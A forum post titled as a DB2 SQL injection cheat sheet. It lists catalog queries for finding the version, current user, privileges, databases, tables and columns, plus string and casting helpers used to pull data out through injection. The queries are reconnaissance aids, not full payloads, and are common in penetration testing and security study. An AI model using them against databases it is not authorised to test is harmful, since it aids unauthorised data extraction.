Jump to content
Nytro

DB2 SQL Injection Cheat Sheet

Recommended Posts

Version

select versionnumber, version_timestamp from sysibm.sysversions;

Comments

select blah from foo; -- comment like this

Current User

select user from sysibm.sysdummy1;

select session_user from sysibm.sysdummy1;

select system_user from sysibm.sysdummy1;

List Users

N/A (I think DB2 uses OS-level user accounts for authentication.)

Database authorities (like roles, I think) can be listed like this:

select grantee from syscat.dbauth;

List Password Hashes

N/A (I think DB2 uses OS-level user accounts for authentication.)

List Privileges

select * from syscat.tabauth; -- privs on tables

select * from syscat.dbauth where grantee = current user;

select * from syscat.tabauth where grantee = current user;

Current Database

select current server from sysibm.sysdummy1;

List Databases

SELECT schemaname FROM syscat.schemata;

List Columns

select name, tbname, coltype from sysibm.syscolumns;

List Tables

select name from sysibm.systables;

Select Nth Row

select name from (SELECT name FROM sysibm.systables order by

name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;

Select Nth Char

SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; -- returns b

ASCII Value -> Char

select chr(65) from sysibm.sysdummy1; -- returns 'A'

Char -> ASCII Value

select ascii('A') from sysibm.sysdummy1; -- returns 65

Casting

SELECT cast('123' as integer) FROM sysibm.sysdummy1;

SELECT cast(1 as char) FROM sysibm.sysdummy1;

String Concatenation

SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'

select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...